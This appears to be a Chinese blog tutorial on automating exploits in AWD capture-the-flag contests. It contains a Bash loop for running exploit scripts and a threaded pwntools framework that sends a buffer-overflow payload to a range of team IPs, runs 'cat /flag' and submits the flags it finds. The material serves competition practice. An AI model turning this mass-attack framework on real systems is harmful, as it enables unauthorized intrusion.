前言: awd时写出exp要搭配自动化工具才能稳定拿分,把exp发给全场每个靶机
Bash 调度流 最简单粗暴的批量攻击方式是写一个 Bash 脚本。如果你的目录里有针对不同题目的多个 EXP(比如 exp1.py, exp2.py),你可以用 Bash 脚本来遍历执行它们:
1 2 3 4 5 6 7 8 9 10 #!/bin/bash for file in *; do if [[ $file =~ ^exp.*\.py$ ]]; then echo "正在执行 $file 攻击目标 $1 :$2 " python3 $file $1 $2 fi done
优点 :极其简单,EXP 脚本相互独立,就算某个 EXP 写崩了也不会影响其他脚本。 缺点 :不支持多线程并发,打全场速度慢;无法统一管理拿到的 Flag 并自动提交。
Python 高并发终极框架 在真实的 AWD 现场,为了抢在别人修补漏洞之前把分拿满,我们需要多线程并发 。下面是一套基于 concurrent.futures 线程池和 requests 库的“全自动打靶 + 提交”框架。
只需要在比赛现场修改两处:网络配置区 和 EXP 核心逻辑区 。
批量打全场自动化模板 (awd_framework.py)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 import requestsimport refrom pwn import *from concurrent.futures import ThreadPoolExecutor, as_completedTEAM_IP_PREFIX = "192.168.1." TEAM_START = 1 TEAM_END = 20 TARGET_PORT = 8888 SUBMIT_URL = "" MY_TOKEN = "" context.log_level = 'error' def submit_flag (flag, target_ip ): """ 负责将获取到的 Flag 秒速提交到比赛平台的 API,或保存在本地 """ if not SUBMIT_URL or not MY_TOKEN: try : with open ("flag.txt" , "a" ) as f: f.write(f"[{target_ip} ] {flag} \n" ) print (f"[+] 已保存到本地 flag.txt! 目标: {target_ip} | Flag: {flag} " ) except Exception as e: print (f"[x] 本地保存失败: {e} " ) return headers = { "Authorization" : f"Bearer {MY_TOKEN} " , "Content-Type" : "application/json" } data = { "flag" : flag } try : res = requests.post(SUBMIT_URL, headers=headers, json=data, timeout=3 ) if "success" in res.text or "true" in res.text: print (f"[+] 得分! 目标: {target_ip} | Flag: {flag} " ) elif "already" in res.text: print (f"[-] 重复提交. 目标: {target_ip} " ) else : print (f"[!] 提交失败. 目标: {target_ip} | 返回: {res.text} " ) except Exception as e: print (f"[x] 提交 API 请求异常: {e} " ) def attack (team_id ): """ 针对单个 IP 的攻击逻辑。 返回获取到的 Flag 字符串,如果失败返回 None。 """ target_ip = f"{TEAM_IP_PREFIX} {team_id} " try : io = remote(target_ip, TARGET_PORT, timeout=3 ) payload = b'a' * 0x28 + p64(0x401234 ) io.sendlineafter(b"name:" , payload) io.sendline(b"cat /flag" ) output = io.recvall(timeout=2 ).decode(errors='ignore' ) io.close() match = re.search(r'flag\{[a-zA-Z0-9_-]+\}' , output) if match : flag = match .group(0 ) print (f"[*] 击破 {target_ip} 获取到: {flag} " ) return flag, target_ip else : return None , target_ip except Exception as e: return None , target_ip def main (): print ("====== AWD 自动化高频扫射系统启动 ======" ) with ThreadPoolExecutor(max_workers=10 ) as executor: futures = {executor.submit(attack, tid): tid for tid in range (TEAM_START, TEAM_END + 1 )} for future in as_completed(futures): flag, ip = future.result() if flag: submit_flag(flag, ip) if __name__ == '__main__' : main()
框架核心优势解析:
防卡死(Timeout 机制) :很多队伍会故意挂起你的连接。如果在 remote() 和 recvall() 里不加 timeout 参数,你的脚本发出去几个就会全部卡死,后面的队伍根本打不到
正则提取(Regex 提取) :不用 io.recvline() 去拿 Flag。由于网络延迟、杂音输出甚至对方故意输出的干扰信息,你拿到的很可能不是纯净的 Flag。使用 re.search(r'flag\{.*?\}', output) 是最稳的,它能在成吨的垃圾数据中把真 Flag 抠出来。
静默执行(Log Level) :将 Pwntools 的日志级别设为 error,只打印获取成功和提交成功的信息,保证你的控制台清爽,一眼就能看到战况。
接下来,一旦你写出了针对某个题目的 payload,你只需要把核心的那几行 io.sendline() 塞进上面模板的 [3. EXP 核心逻辑区],然后一键运行
您的支持将鼓励我继续创作!
打赏
微信支付